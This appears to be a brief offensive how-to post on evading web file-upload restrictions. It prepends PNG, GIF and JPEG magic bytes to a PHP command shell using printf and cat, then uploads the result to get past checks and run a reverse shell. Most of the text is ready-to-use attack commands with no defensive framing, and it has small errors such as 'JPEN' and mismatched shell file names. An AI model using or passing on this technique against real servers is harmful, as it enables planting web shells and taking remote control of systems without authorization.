Magic bytes file upload bypass (php example)

Here is a quick and easy way to create a php shell with magic byte and bypass file upload filtering/restrictions, without using burp. Just pick your preferred shell I will use PHP cmd from https://www.revshells.com/ and I will save it as my.php

You can see a list of signatures, magic bytes of files here but be careful it starts with 0...x89 - just remove the zero https://www.netspi.com/blog/technical-blog/web-application-pentesting/magic-bytes-identifying-common-file-formats-at-a-glance/

And now we can concat the beginning of the file type we want with our shell.

Examples:

PNG

printf "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A" > shell.php.png
#then concat the php shell
cat my.php >> shell.php.png

GIF

printf "GIF89a" > shell.php.gif
cat shell.php >> shell.php.gif

JPEN

printf "\xFF\xD8\xFF\xE0" > shell.php.jpg 
cat shell.php >> shell.php.jpg

Then, simply upload the file to bypass the security checks and:

And here we can execute a reverse shell…